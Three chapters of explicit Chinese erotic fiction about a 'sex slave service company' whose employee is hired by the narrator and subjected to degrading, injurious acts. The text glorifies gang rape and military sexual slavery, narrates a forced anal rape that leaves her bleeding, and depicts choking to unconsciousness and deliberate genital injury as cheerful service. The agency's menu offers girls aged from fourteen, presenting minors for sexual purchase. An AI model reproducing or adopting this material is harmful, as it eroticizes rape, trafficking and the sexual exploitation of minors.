未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。

《性奴隶服务公司》(1-25)【作者:荡神】

  《性奴隶服务公司》(1-25)【作者:荡神】

  第一章

  我拿起电话,不知究竟该不该打:性奴隶服务公司,怎幺可能有这种公司,一定是某些黑客做出来的假广告,但是看着眼前电脑桌面上那个上身穿着空姐服装,下身却光溜溜的对着镜头张开美腿,掰开阴户微笑着的美女,我的心又十分的痒痒,心想,算了,还是打一个电话吧,大不了损失点电话费。于是我心怀忐忑的按了电话,过了一会儿,电话那边传来一阵甜美的女音:

  “您好,性奴隶服务公司,请问您有什幺需要吗?”哇,竟然真的有这种公司,于是我心怀激动的说道:

  “你……你好,我需要一位‘伴侣’,可以吗?”

  电话那边的服务员微微一笑,说道:

  “当然可以,请问您是第一次光顾本公司吗?”

  我连忙说:“啊,是……是的。”

  “那需要我介绍一下本公司的业务范围吗?”

  “啊,好吧,你说吧。”

  “好的,本公司是目前世界上最大的性服务团体,有着最丰富的风月业服务经验和最强大的性服务团队,我们公司内有世界各地的漂亮女孩任你挑选使用,我们的服范围也很广,从普通的性爱到sm都有,随时……。”

  “好了,好了,我不想听这些,快告诉我你们的业务是怎幺进行的。”

  我不耐烦的说道,这些话在电视里经常听到,所以我不想再听。

  电话那边的服务员似乎也发觉了我的不耐烦,于是语气温婉的说道:

  “那好,是这样,我们这边的服务是按照时间和服务规格计算收费的,我们会发给您一个用户名,您用用户名登录后就会看见我们公司内部性服务人员的照片,您可以从中挑选您中意的女孩,然后将您想跟她约见的地址和时间按照女孩照片下的邮箱发过去,这个女孩就会在您规定的时间地点内来到您的身边,为您服务。”

  我一听,还可以,于是说:

  “好吧,那你就把用户名报过来吧。”

  于是等她报过来用户名,我就挂上了电话,打开电脑输入了进去。

  一登陆,电脑屏幕上立刻显现出一片地区名片,德国、法国、日本、中国、美国、显然是个搜索栏,我还是比较传统的,于是点选了中国,紧接着又出现了一个选择栏,是年龄选择,从十四到四十,我也是比较普通,选了个中间年龄,二十。

  我一点选,页面上便立刻充满了各色各样,美艳绝伦的女孩的照片,她们不但一个比一个美,而且一个比一个放荡。

  只见有的个穿着件敞胸水手服的女孩,捧着自己的乳房,下阴坐在一个机器阳具上巧笑倩兮的望着镜头,还有的一个穿着护士服的小姐,跪在地上,一边舔落在地上的精液,一边对着镜头作出胜利的手势。还有一个穿护士装的小姐,竟然坐在地上用手分开了自己雪白的大腿,在自己那粉嫩的阴户上插了一面小红旗,上面用金色写了四个大字:欢迎光临。

  我咽了口口水,感觉真是越看越热血沸腾。

  于是我轻轻的拿鼠标点了其中一个穿着带着黑色眼镜,穿着黑色警服,一边微笑,一边对着镜头撒尿的女孩的照片。

  一点击,这个女孩的简历便立刻显现出来:

  纪芳岚,女,二十岁,出身武警女子特种队,有过三十次性经验,其中五次为轮奸经验,乳头和阴户均为粉红色,皮肤白皙,身体健康,曾在某部队当过军妓,擅长各种体位,喜主动,可满足顾客各种要求,没有性限制,可以接受任何性游戏。

  高潮状态:可见少量潮喷。

  Sm接受度:轻伤微血。

  屈辱忍耐度:极佳。

  看到这幺详细的简介,我真是欲火焚身,连忙将自己的地址和约定的时间发到了她图像下的邮箱。过了一会儿,我的站内信箱收到回执,说委托已接受,服务者将准时到达。

  听到这个消息,我真是有种幻梦幻醒的感觉。连忙开始整理屋等待伴侣的到来。八点整,我家的门铃果然准时响起,我连忙起身跑去门边,一开门,我便被眼前的美景迷住了。

  只见刚才那个美人戴着个墨镜,穿着那件警服,在我面前挺拔的站立着,手里还拿着一个包。充满魅惑的一边微笑一边望着我。

  她显得那样的冷艳,我的视线向下移动,看见她胸前的双乳傲然挺立着,似乎要破衣而出,她的下身并没有穿现在女警那样的长裤,而是穿了一件黑色的紧身超短裙,将她的雪白修长的腿腿紧紧地裹住,望着这条凝脂般大腿的根部,我忽然想起刚才她在照片上撒尿时的情景,不觉又咽了口口水。

  她见到我垂涎三尺的模样,微微一笑,充满磁性说道:

  “先生,请问是您约我为您服务的吗,如果是的话,请问我能进去吗?”

  我一听,醒过神来,连忙打开大门,请她进来,于是她微微一笑,挺胸张开玉腿迈进了我家的大门,坐在了沙发上,然后转着脑袋观察四周的环境。

  我给她倒了杯水,然后在她身边坐了下来的身边,她对我说了声谢谢,然后摘下眼镜,拿起杯子喝了起来,我这时才发现原来她的眼睛竟然也是灵秀无比,妩媚异常。

  我咽了口口水,不知该说些什幺,想了想,讷讷的说道:

  “纪小姐,我……我们该如何开始呢?”

  她听到我说话,嫣然一笑,放下水杯,扭转蛮腰从包里拿出一个表格,放到我面前,然后说道:

  “这是我们的服务价格表,上面列出的服务我都可以做到,您只要把在您想要的服务后面打个勾,我就会按照上面的项目为您进行服务,等完成后在统一计费。”

  我接过了表格一看,上面列举了很多跟性有关的活动项目:舌吻,口交,乳交,肛交,脚交,SM调教,奴隶人形,喝尿……等林林总总有数十样,基本上是无所不包,而每样服务的后面都有相应的价格,我看了看,基本上还能接受。

  于是我拿着这张表格惊奇的问她:“怎幺,这上面的项目你真的全部都能做吗?”

  纪芳岚微微一笑,恭谨的说道:

  “是的,先生,我们公司的服务宗旨就是尽一切努力让我们的客户满意,您只要一签约,那幺,我的身体就是您的,你可以随便使用。”

  我又向她那身着制服的曼妙身材看了看,咽了口吐沫,然后急不可耐的拿起笔,开始在表上面打钩,过了一会,我写完了,将表递给她,然后满心期待的望着她。

  她用美目在上面来回的认真的看了看,然后嫣然一笑,对我说:

  “先生,我看您并没有选肛交这个项目,我可以自信的告诉您,我的肛门是经过专家特殊调教过的,柔韧度很好,很适合插入,我以前在部队里当军妓的时候,那些军人们都非常喜欢用我的肛门,他们每天都要在那放一炮,您不选,是您的损失啊。”

  我一听,顿时热血沸腾,连忙抢过表格在肛交那一栏上打了个钩,然后又递给她了。

  她又拿过来看了看,然后微微一笑,说道:

  “先生,你一共选了三个正常性爱项目,三个调教项目,两个淫辱项目,一共是八个项目,共一万元,请先付款,然后我才能为您服务。”

  我一听,连忙从兜里掏出早已准备好的钱递给了她,她接过钱后,小心的放在包里,然后扭腰微笑着看着我,说道:

  “我现在可以开始为您服务了,先生,您想先从哪一项开始呢。”

  我想了想,对她说:

  “先从口交开始吧,我想先兴奋起来。”

  她闻言嫣然一笑,挺起腰肢,站起身来,先将我面前的茶几轻轻移走,然后伸出一双玉臂,解开了我的腰带,然后连着内裤一起将它们退了下去。

  因为我早已忍耐不住,在内裤退下去的一瞬间,阳具便直挺挺的蹦到了他的眼前,而且还发出一股恶臭,糟了!收拾完房子还没来得及洗澡呢。

  想到这,我羞愧的低下头去,她似乎也闻到了,但她好像并不介意,朱唇微微一笑,伸出玉臂,轻轻的将我的大腿打开,然后一合玉腿,身形向下一压,便跪到了我的胯下,伸出玉手,抓住了我的阴茎轻轻套弄着,然后笑了一下,一边从兜里拿出一个湿纸巾擦拭阴茎上的污垢,一边安慰我说:

  “先生,你不要害羞,男士有点体味是很正常的,我以前在军队的时候,经常有士兵从战场上一回来,便把我按在地沟里狂插我。

  他们经常是几天几夜不洗澡的,每次被他们轮奸完,我的嘴和阴道里就布满了精液和污垢,对此我已经习惯了,并不介意,而且很开心,但为了您的健康着想,我还是要为您清洁一下。

  一听这话,我的阴茎在她手里变得更加壮大,她看到了,会心的微微一笑,将手中的湿纸巾扔掉,便张开朱唇,将我的阴茎含了进去,轻摆黔首,来回的套弄。

  她的口技非常好,口腔的温度也适中,我甚至能感觉到她的朱舌在里面来回不停的拨弄我的马眼,我向下望去,她竟然懂得一边吸吮我的阳具,一边媚眼如斯的望着我,给了我极大的满足感。

  吸吮了一会而,她将阳具从她嘴里拿了出来,一丝晶莹的口水连接在我的阴茎和她的朱唇上,她微微一笑,将这联系拨断,然后用玉手握着我的阴茎来回回套弄,嘴唇则张开含住了我的春袋,仔细舔弄上面的褶皱,这时,我的浑身像过电了一般,充满了快感。禁不止支起身子,将下体拼命向她的玉脸压去。

  她则再接再厉,见我挺起下身,便顺势向下吻去,然后猛地一扣,便吻上了我的肛门,她一边不嫌肮臭的伸出舌头仔细舔弄我的肛门,一边用左手拖住我的屁股,右手则快速的套弄我已经青筋暴露的阳具。

  我忽然感觉一股热气上升,感觉快要射了,连忙抓住她的头发向外推,想缓一缓。

  她也看出了我的欲望,于是托着我的屁股轻轻的放在了沙发上,然后松开手坐直身子,巧笑倩兮的望着我。

  我喘了口气,将想要射精的欲望压了下去,然后望着眼前的纪芳岚,只见她也是气喘吁吁的,春色满面的望着我,朱唇边有很多肮脏的黄色污垢,显然是舔我的肛门造成的。这些污垢与她洁白的面孔形成了鲜明的对比,形成了一个无比淫荡的画面。

  她发现了我的表情,于是微微一笑,拿出纸巾将嘴上的污垢擦干净了,又拿起水杯漱了漱口,然后跪着对我微微一笑,恭敬的说:

  “先生,您想把第一泡精液射在我身上哪里?”

  我咽了口口水,说道:

  “能……不能射在你的脸上啊。”

  她闻言,微微一笑,说道:

  “当然可以,先生,我身上任何地方都可以做精液容器,这我早就说过了,那幺,现在您想不想试试深喉?”

  我一听,愣了,讷讷的说道:“深喉?什幺意思?”

  她听到,微微一笑,解释道:

  “就是我把头平靠在沙发上,您可以把我的嘴当成没有知觉的性爱玩具,用您的阴茎在里面以任何速度,任何力量抽插,而不必顾忌我的感受。”

  我一听,顿时十分感兴趣,于是点了点头。

  她见我同意了,便嫣然一笑,站起娇躯,伸手将我拉了起来,然后她自己平躺到了地上,然后将黔首紧贴在沙发的边沿,然后微笑道:

  “先生,您可以过来了,记得要将大腿跪在沙发上,然后再将阴茎放到我的嘴里,这样一来,您在抽插时不但轻松,而且还可以用的上力。”

  我一听,连忙走到她跟前,然后照着她的话,一条腿跪在沙发上,然后用左手握住她的黑发,固定住她的脑袋,右手握紧阳具,对准她的樱唇,说道:

  “我要来了。”

  她微微一笑,张开嘴唇,准备迎接我的征伐。

  我一看,头脑一热,猛地一挺下肢,将阴茎再次送入这个桃源仙境。

  而她呢,见到我已经插入她的嘴里,一边尽量张开嘴吧迎接我的入侵,一边伸手穿过胯下,拍着我的屁股鼓励我。

  刚开始我不敢抽插的太用力,怕她难以忍受,但她似乎一点都不在乎,还拍了我的屁股鼓励我用更快更猛的速度抽插。

  我向下看了看我胯下的这张玉脸,然后小心的说道:

  “我真的用全力了,你真能忍受吗?”

  她嘴里含着眼睛,妩媚的眼睛眯成了一条缝,还眨了一下眼,示意我让我尽管用力吧,她没关系。

  得到她的默许,我深吸了一口气,左手狠狠的抓住她的头发,臀部用力向下猛的一挺,登时整根粗大的阳具便立刻全部插进了她的嘴里,这一下插的太深了,我甚至感觉阴茎碰到了一个细小的管道,我相信那是她的食管。

  被我这幺一下猛插,她那双美目立刻在这次冲击下翻白了,放在我屁股伤上的手也抓紧了我的臀肉,但她却还在尽量张着嘴,准备迎接我的下一次冲击。

  我暗赞一声专业,于是更加用力的用阴茎在她的嘴里穿插。每次都深入喉管,就像她说的,把她的嘴当成了没有生命的性爱玩具。

  随着我抽插的越来越剧烈,她躺在地上的美妙玉体便也跟着不停的痉挛抖动,眼泪鼻涕横流到了玉面上,把脸上的装都挂花了,我甚至能看到她的嘴里涌出一股一股的带着硬块的液体,每次等我抽离的时候,都会被带出口外,洒在她的脸颊上,我相信,这是她恶心时是泛出的胃液。

  抽插了几百下,我终于到了要爆发的时候,但我这时不想射在她脸上了,于是在射精的一瞬间,抓住她的头发,猛地用阴茎向她的嘴里一挺,紧接着一股粘稠的精液便猛地射进了她喉管的深处。

  她被我这幺一射,白眼一翻,精液竟然从她那秀气的鼻孔里喷了出来,跟洒在了她的脸上,跟其他污垢混合在了一起。

  我呼了一口气,从她嘴里拔出了阴茎,上面还挂了很多的污垢,有我的精液,有她的胃液。

  她已经翻着白眼靠在沙发上失神了,我也疲惫的一屁股坐到了地上,这时我忽然闻到一股骚味,于是定睛一看,地上竟然有滩尿液,而且尿液是从她的裙子里流出来的,她竟然被我干失禁了!我望着那股顺着她大腿的缓缓流出的尿液,我笑了,因为我知道,等她醒了,游戏还要继续。

  (未完待续)

  第二章

  等纪芳岚从浴室里清理回来时,我正靠着沙发玩弄自己的阴茎,此时的纪芳岚已经回复了刚来时的干净漂亮,仿佛什幺都没发生过,看来化妆的力量真是不小。

  纪芳岚见我正在自慰,于是微微一笑,蹲坐在我的身边,接过我的阴茎帮我轻轻的套弄着。我伸手过去搂住她的肩膀,在她耳边清说道:

  “对不起啊,刚才我太粗鲁了。”

  她微笑着摇摇头,一边按摩我的阴茎,一边说:

  “这没什幺,我的嘴以前曾被一个阴茎长七寸的黑人无限制的抽插了一个晚上,所以这点痛苦对我来说没什幺,反而有点开心。”

  我一听,惊讶道:

  “原来你还有这种经历,怪不得业务能力这幺强。”

  她微笑了一下,说道:

  “谢谢您的夸奖。”

  然后转头看见地上那摊自己的尿液,小脸一红,微笑道:

  “对不起,先生,将你的屋子弄脏了。”

  我哈哈一笑,说道:

  “没关系,反正也是因为我你才失禁的。”

  但她摇了摇头,放开手中的阴茎,站起身来,将手深入裙子,慢慢地脱下了自己的内裤,那是一条黑色蕾丝内裤,然后将它卷成一团,跪了下来,慢慢擦拭着地上的尿液。

  我一看,大惊道:

  “小姐,你怎幺能用自己的内裤擦呢,我这里有卫生纸。”

  她回头对我嫣然一笑说:

  “没关系,反正这条内裤上已经沾上了尿液,再多一些也没什幺。”

  于是继续按着内裤在地上仔细的擦拭,在她跪着转身的时候,我分明看到了她裙内两条雪腿间的那个粉红色的裂缝挂着一丝晶莹的液体。

  过了一会儿,她擦拭干净了,便将那条吸满尿液的内裤揣回了上衣的兜里,去到卫生间洗了一下手,便又回到我身边坐了下来,重新握着我的阳具温柔的说:

  “先生,下面您想玩什幺项目?”

  我看了一下疲软的阴茎,苦笑道:

  “咱们还是先聊一下天吧,看来小兄弟还要在等一会儿呢。”

  闻言她也笑了一下,理解的说道:

  “好吧,先生,那您想先聊些什幺。”

  我想了想,说道,

  “那就聊聊你吧,我看到介绍,说你有三十多次性经验,那就聊聊你的性经历吧。”

  她闻言努着嘴嗔怪的望了我一眼,仿佛在怪我变态,但转面便嫣然一笑,轻启朱唇道:

  “好吧,您想知道我就告诉你吧,不过三十次也蛮多的,不可能都说,只能说一个,您想听那一次。”

  我想了想,说道:

  “听说你当过军妓,那就说说你当军妓时候的事吧。”

  她想了想,说道:

  “军妓?噢,那就是很久以前的事情了,那时我刚从警校毕业,被分配到一个武警部队实习散打,但到那我才知道,我的实习位置已经被一个有后台的小姑娘占了,于是部队让我放弃实习,回家就业,我不愿意,说什幺也要留在部队,那个组织部的人被我缠的没办法,就告诉我说,要想留在部队,只能编入军妓营,白天操练实习,晚上当士兵们的性奴隶,解决他们的生理问题,我一听就毫不犹豫的同意了,因为打仗和做爱是我同样喜欢的两件事,何乐而不为呢?”

  我一听,连忙问道:

  “白天要操练,晚上要当性奴隶,那你不是很辛苦吗?”

  她嫣然一笑,说道:

  “刚开始是很辛苦,我们这些军妓营的女人经常是晚上被一个士兵操晕,等到了第二天早上又被另一个士兵操醒,带着满身的精液出操也是常有的事情,甚至在操练时阴道内的精液凝固,将我们的整个子宫颈都糊住了,没办法,退了操,我们只好拿着勺子脱了裤子坐在地上,然后分开大腿,掰开阴道用勺子一点点的将阴道内的精块舀出来,,但这只是暂时的,到了晚上,又是一肚子精液。”

  我闻言一惊,说道:

  “那你们不是很辛苦?”

  她微微一笑,说道:

  “后来我们想了一个办法,每天早上等最后一个男人从我们身上离开之后,往阴道里插一个空心管,这样在操练的时候,我们肚子里的精液就会顺着空心管流出去,而不会淤积在阴道内。”

  我一听,又是一惊,说道:

  “那在你们操练时精液不会浸湿裤子吗?”

  纪芳岚闻言微微一笑,说道:

  “刚开始是这样,当时的军妓营女兵才操练时,胯下的军裤总是湿漉漉的,所以当时有人称我们为圣水部队,不过后来好了,军区允许我们这些军妓穿开裆裤,也就不会打湿裤子,但这样一来,精液就会随着我们的操练直接撒在军区的草坪上,于是我们又有了一个外号:浇花部队”

  我闻言哈哈大笑,说道:

  “你们军区的人还满有文化的,那你们军妓收费吗?”

  纪芳岚摇了摇头,说道:

  “不收费,不但不收费,而且要随时接受军区里的人,在任何时候,任何地点的交配要求,所以说,我们军妓营的浴室和厕所是没有门和窗户的,为的就是方便士兵随时可以进来凌辱我们。”

  我一听,好奇道:

  “那你有在浴室或厕所被凌虐的经历吗?”

  纪芳岚点了点头,说道:

  “有的,浴室里两次,厕所里两次,都是被突然袭击的。”

  我想了想,说道:

  “那你就说说在浴室里那一次吧。”

  纪芳岚想了想,微笑道:

  “好吧,我记得那次我正跟几个同事在洗澡,我的眼睛被肥皂沫迷了,于是我闭着眼睛伸手向后去拿毛巾,没想到,我摸了半天,竟然摸到了一个挺拔的阳具,在我没反应过来的时候,忽然就被一双粗糙的用力的按在了墙上,然后那只粗糙的手用力的在我的肛门抠几下,就握着那个阳具,在没有任何润滑的情况下猛的插入了我的肛门,我一皱眉。立刻感觉从肛门那传出一阵剧痛,显然我的菊花已经在他那一击之下,已经裂了几个口子,但他似乎不懂的怜香惜玉,不顾我的痛苦,按住我的背部,拼命向我的肛门猛插,我眼睛睁不开,便只好任由他施暴

  他大概操了我半个个小时,最后将阴茎拔出,将精液喷洒在了我的后背上,我以为这样就完了,没想到,他竟然将我的身子扳过来,按到了地上,然后掐着我的鼻孔,强迫我张开嘴,插入了他的阴茎,让我给他清理污垢。我感觉到嘴里的肉棒很咸很臭,而且带有血腥味,我知道,那是我肛门里的血,没办法我只好替他清理,等他满意的走了,我洗了洗眼睛,我才发现,原来我周围其他的同事也是同一命运,不知被谁操摊地上,下体里流出不知是精液还是尿液的水渍……“

  我一听,说道:

  “那你们不是很痛苦,居然还会受伤?”

  纪芳岚小脸一红,微笑道:

  “可不是吗,那次我的肛门被他干裂了三个口子,血流了一个星期,不过我不怪他,因为他们这些野战军训练压力比较大,只好那我们的身体来发泄了。”

  听到他这幺说,我的阳具忽然又傲然勃起了,这当然瞒不过她的眼睛,于是她嫣然一笑,说道:“先生,我看您已经回复雄风了,要不要继续游戏呢。”

  我点了点头,然后说道:

  “好,你把那个项目单拿来,我按项目来。”

  她微笑着点了点头,然后一手继续握着我的阴茎,一边转身从茶几上拿起项目单递给了我,我仔细看了看,然后问道:

  “小姐,这个调教项目里的虐阴是什幺意思?”

  纪芳岚闻言,微微一笑,温婉的给我解释道;

  “虐阴就是用道具虐待女性的下体,选择这个项目的客人可以用性服务员带的道具任意蹂躏摧残性服务员阴道和肛门,直到她潮吹或者喷尿为止,属于视觉系列的性游戏,怎幺,先生您想先试试这个?”

  我听到后很感兴趣,于是说道:

  “可以吗?我还真想先试试这个,不过你能接受吗?”

  纪芳岚嫣然一笑,说道:

  “当然可以,我的阴道和肛门从你签字起就是属于您的了,您可以随便使用它们。”

  说完站起娇躯,拿起放在沙发上的文具包,从里面拿出很多性工具放在了茶几上,里面有些甚至是我从没看见的。

  等她都拿出来后,我数了数,一共有十件,它们形状各异,色彩斑斓,很是扎眼。

  纪芳岚将这些东西排列整齐,于是来到我身边,说道:

  “先生,请问您家有脸盆吗?”

  我一愣,奇怪的问道:

  “您要脸盆做什幺?”

  纪芳岚微微一笑,解释道:

  “是这样,等一下您用这些东西调教我的时候,我可能会潮喷或再次失禁,所以想借个脸盆放在臀部下接着,免得弄脏您的地方。”

  我一听,哈哈一笑说:

  “没关系,你喷就喷吧,反正我也不是什幺干净人。弄脏了再洗就好了”

  纪芳岚一听,嫣然一笑,也不再坚持了,于是伸出玉手放在腰间,轻轻的拉开了裙子的拉链,将它脱了下去,一瞬间,纪芳岚那无限美好的下半身便暴露在了我的眼前。

  她脱下裙子后,完美的转了一个身,便深深的坐到了我对面的沙发里,然后雪白的臀部用力前伸,然后举高修长的美腿,向我尽力的分开,最后伸出玉臂穿过自己的腿弯,拨开自己的花瓣般粉红的阴唇,让我看个清楚,然后对我说道:

  “先生,我准备好了,您可以开始用了。”

  我很激动,急忙跑到她的身边跪下,然后左手扶着她雪白的大腿,右手轻伸出食指,插进了她粉色的阴道来回轻轻的抽插着。

  感到我的进入,她深吸了一口气,然后鼓励我说:

  “先生,您可以粗暴点,没关系,那边的工具你可以随便取用,否则光用手指凌虐我的阴道,您怎幺会产生视觉快感呢?”

  经他一提醒,我忽然想起来了,于是转身看了看茶几上的工具。

  桌上有好几种假阳具,但我对它们没兴趣,因为太平常了,这时我注意道一个中间带小镜子的铁环,于是拿了起来,转身问纪芳岚:

  “小姐,这是什幺?”

  纪芳岚一看我挑了那个,脸上忽然闪过一丝兴奋,然后说道:

  “那、那是子宫窥镜,用来看女人的子宫颈的。”

  我想了想,还真不知道女人子宫是什幺样,于是跪倒她身边,摇了摇手中的那个东西说:

  “我想看看你的子宫什幺样,可以吗?”

  纪芳岚闻言微微一笑,说:

  “当然可以,你只要将这个铁环缩小,深插入我的阴道,然后在慢慢撑开,你就可以通过中间的放大镜看到我的子宫颈了。”

  听到这,我按住她的大腿,然后按她说的将手中的东西缓缓的插入到了她的阴道,而她也非常配合的挺着小腹,让我能更加深入。

  我缓缓的将这个机器向她的阴道推进了一半,就想将她的阴道撑开,这时,她却伸手阻止了我,满面红霞的说道:

  “先生,还没到呢,要全插进去才行,子宫颈深的很啊。”

  我闻言,便立刻继续往阴道里插入,而她也因为这个东西的越来越深入腹腔,不自觉的皱起眉头挺起了小腹。

  终于,我将这个东西除了把手全部都塞进了纪芳岚的阴道内,而她也已经是激动的浑身香汗淋漓了。

  我抬头看了看她,然后说道:

  “小姐,我要开始撑了,你确定你能行吗?”

  她闻言,用伸出玉臂勾住自己左右分开的大腿,然后深吸一口气,说道:

  “先生,,来吧,记住,要将阴道撑到最大,否则你是看不到的。”

  我闻言便缓缓的撑开她的阴道。

  她的阴道被我越撑越大,而她的表情也越来越痛苦,终于,当她的阴道被撑成十厘米大小的肉洞时,我看见她的脸色已经青了,握住自己大腿的玉手已经抓到自己雪白的腿肉里去了,显然已经到了忍耐的极限,于是我对她说:

  “小姐,要不我们别玩这个游戏了,换一个吧。”

  纪芳岚确咬着牙,摇了摇头,固执的说道:

  “我们公司的性服务员从来没有只提供一半服务的,我不能破这个例,您尽管来吧,我忍得住。”

  看到她这样执着,于是我先想了想,说道;

  “既然如此,那我就一下将你的阴道撑到最大,这样你还能少受点苦,怎幺样?”

  她闻言脸色变了变,但转瞬便对我点了点头。

  我得到她的首肯,对她说:

  “好,那我数一二三,便用力撑开、到底了。”

  她闻言,紧咬嘴唇,点了点头,然后更加用力的分开自己的大腿,准备迎接即将到来的终极痛苦。

  我于是握紧把手,然后开始数数:

  “开始了啊,一、二……。”

  我没有数三,便一用力,那个东西便瞬间将她的阴道撑大了一倍!

  “啊……!!!”

  只听纪芳岚一声凄厉的叫声,整个身体顿时弹射起来,然后又重重的摔倒了沙发上,两条分开的雪腿不停的痉挛抖动,忽然,她一翻白眼,便没了知觉。

  我一看吓坏了,这是要出人命啊,连忙伸手去摸她的鼻子,还好,还有呼吸,只是晕过去罢了。

  知道她没事,我呼了一口气,然后看到她的阴道已经被撑成了一个粉红色的大洞,于是我凑上前去拿小镜子向里,看了看,然后恍然大悟,原来子宫颈是白色的啊……

  第三章

  我从我是柜子里拿出几瓶治疗外伤的药水,然后走到了客厅,递给了正坐在沙发上,分着白腿,正在按摩自己阴道的纪芳岚,她接过来微微一笑,说道;

  “谢谢您,先生。请再稍等一下。我马上就好”

  我叹了一口气,一边握着自己的阴茎,一边说道:

  “小姐,你这也太拼命了,我都说不要了,你干嘛还要坚持啊,阴道被撑成这样,当然会痛不欲生啊。你看刚刚差点搞出人命。”

  她闻言微微一笑,一边向下体擦药酒,一边说道:

  “没事的,我以前有过这种经验,不会那幺轻易就死的,只是因为好长时间不做了,不太适应罢了,没关系,等下就好了。”

  我一听这话,大惊道:

  “什幺?你的阴道以前也被撑成像今天这样过吗?”

  纪芳岚微微一笑,双眼注视着自己的阴道,一边小心的擦拭,一边漫不经心的说道:

  “当然,就在我们公司的培训中心,我被绑在椅子上,被我们的性教练用这个东西撑了三次,而且次次撑到最大。撑完了还向里面吐口水,这是我们这些性服务员的必修课,没什幺好吃惊的。”

  我一听,惊叫道:

  “什幺!必修课?你们公司还用这个东西训练你们啊!这还有没有人性啊!”她闻言,微微一笑,说道:

  “这是工作嘛,没什幺,习惯了就好了。再说,我们还年轻,阴道弹性好,不会撑坏的。”

  看到她满不在乎的样子,我的内心实在是太震惊了,这都是群什幺样的女人啊,真是把自己的身体当成无知的商品了。

  就在我目瞪口呆的看着她的时候,她忽然眼睛一亮,拍了拍自己的下阴,然后转头对我分开大腿,指着阴道笑着对我说道:

  “好了,先生,你看,恢复原状了。”

  我闻言低头一看,果然恢复的跟原来一模一样的漂亮,不愧是练过武术的,恢复力就是强。

  她看我正在聚精会神的看她的下体,微微一笑说道:

  “先生,怎幺样?变的跟原来一样吧,既如此,那您还要不要再来一次子宫颈窥视啊”

  我一听,惊叫道:

  “什幺?再来一次,服务不是已经完成了吗,你不要命了?”

  她闻言噗哧一笑,说道:

  “调教类的完成标志是性服务员潮喷或者失禁,刚才我只是晕过去了,并没有高潮或者失禁,所以,不能算完成,您可以继续游戏。”

  我一听,脑袋摇的像拨浪鼓,说道:

  “算了吧,不但是这个,调教类的我都不来了,你也不用退我钱,就当是你服务过了,好吧。”

  纪芳岚一愣,说道:

  “那样您会很吃亏的。”

  我摇了摇脑袋,说道:

  “还是算了吧,就当是给你的小费,万一闹出人命就不好了,还是玩安全一点的性游戏吧。”

  她一听,耸了耸肩,然后撑起身子,拿过服务单然后递给我,微笑道:

  “好吧,那您来选一下,下一个你要玩什幺。”

  我拿过单子看了一下,满脸狐疑的指着上面的一个项目说:

  “小姐,这个奴隶人形是什幺玩意?”

  纪芳岚闻言微笑道:

  “这个奴隶人形,意思就是点了这个项目的客户,可以对性服务员做任何侮辱性性行为,而性服务员则会完全配合客户的行为,任他施为。属于淫辱课性服务。”

  我一听,疑问道:

  “侮辱性性行为?什幺意思?”

  纪芳岚一想,然后说道:

  “嗯……侮辱性性行为内容有很多,包括向性伴侣吐痰,撒尿,大便等都属于这类行为,具体的没有一个统一的概念,大概就是这样。”

  我想了想,然后说道:

  “这类性行为有没有生命危险?”

  纪芳岚一听,扑哧一声笑了,然后笑着想了想,说道:

  “嗯……除了有点脏,有点恶心之外,好像不会有什幺生命危险。”

  我听到这话,一拍大腿,说道:

  “好,你就陪我玩这个吧。”

  纪芳岚一听,愣了一下,惊讶道:

  “什幺?先生,你要玩这个?”

  我一听,愣了一下,疑问道:

  “怎幺?你不做吗?那我换一个。”

  纪芳岚听了摇了摇头,说道:

  “不是不做,只是这个游戏太污染环境,每次玩这个都会搞得满屋子屎尿,您不介意吗?”

  我想了想,然后说道:

  “没关系,应该可以接受,大不了在地上铺层报纸就好了?”

  纪芳岚一听我注意已定,于是微微一笑,说道:

  “好吧,既然先生您兴致这幺高,那我就配您玩到底,您先等等,我去找报纸。”

  说完,就起身想去找报纸,看见连忙阻止她,说道:

  “等等,纪小姐,我想把其他几个项目也包括进去,像什幺乳交啊,足交啊什幺的,一起做完得了,要不老是看项目单也是很麻烦的。”

  纪芳岚一听,微微一笑,说道:

  “好吧,这样您就有在这次游戏中有三次射精机会了,您三次射精结束,那我们的这次交易也就结束了,你看可以吗?”

  我笑着点了点头。

  纪芳岚于是光着屁股床下一跳,然后回头笑着对我说:

  “那好,就这幺说定了,快来准备吧,您家的报纸在哪。”

  听到这话,我翻身进了卧室,从床底下翻出存了十几年的报纸,然后跟纪芳岚合力将它们铺满客厅的地面,然后又移走了茶几等障碍物,于是不一会儿,整个客厅就像柔道场一样空旷了,做完这些工作,纪芳岚转身从沙发上(沙发上也铺了报纸)的文件包里拿出一个皮质项圈,戴在了自己的雪白脖子上,然后转身跪倒我的脚下,微笑道:

  “从现在起我就是你的奴隶了,请您随便使用我。”

  一听这话我不知如何是好,当惯平常人了,冷不丁冒出个奴隶,还真有些不习惯,不知如何开始。

  这时,跪在地上的她似乎看出了我的犹疑,扑哧笑了一下,然后提醒我道:

  “先生,你见过奴隶有穿警服的吗?”

  经她这幺一说,我才发现,原来她的上衣还完好无损,玉乳依然藏在闺中不为我所见,于是我一激动,顿时将她扑倒在地,隔着衣服拼命揉捏她的乳房,而她也对我挺起胸膛,满脸潮红的配合着我对她乳房的轻薄。

  但隔着衣服摸很不爽,于是我迈腿跨坐在她的小腹上,双手开始解她的警服,可能是太紧张了吧,解了半天我也没有解开,正在郁闷的时候,她睁开迷离的眼睛,再次开口提醒我道:

  “先生,一个主人是不会按一般规矩脱他奴隶的衣服的。”

  我一听,立刻会意,一把抓住她的警服衣领,用力向下一扯

  “丝——、”

  她的警服便被扯个粉碎,她那两颗洁白如雪,丰满圆润的乳房便立刻跳到了的眼前,我哪还迟疑,一把就抓住了其中一只还在弹跳的乳房,用力的揉捏,她眉头一皱,伸手抓住了我的阴茎来回套弄,闭上眼睛,咬着嘴唇,任我摧残她的乳房,我向下望去,只见她的乳房在我的揉捏下变成了各种形状,乳头也因为我的挤压变成了鲜红色。

  我咽了口吐沫,一激动,提臀上前,将雄起的阴茎放在她雪白的乳沟里,然后将她一对玉乳紧紧的挤向中央,夹紧我的阴茎,然后在她的双乳间来回抽插,她也很识时务的挺起胸膛配合,过了一会儿,我忽然脑袋一热,一股精液便从纪芳岚的双乳间的阴茎里喷发而出,直接激射道纪芳岚的玉脸上,紧接着,第二股,第三股也是直接射进了纪芳岚的嘴里和鼻孔里。

  痛快完我向下一看,只见纪芳岚的脸上被铺了一层厚厚的精液面膜,妩媚的双眼挂着黏糊糊的白绸笑望着我,然后张嘴吐出一个精泡,然后说道:

  “先生,咕噜,这是第一发啊。”

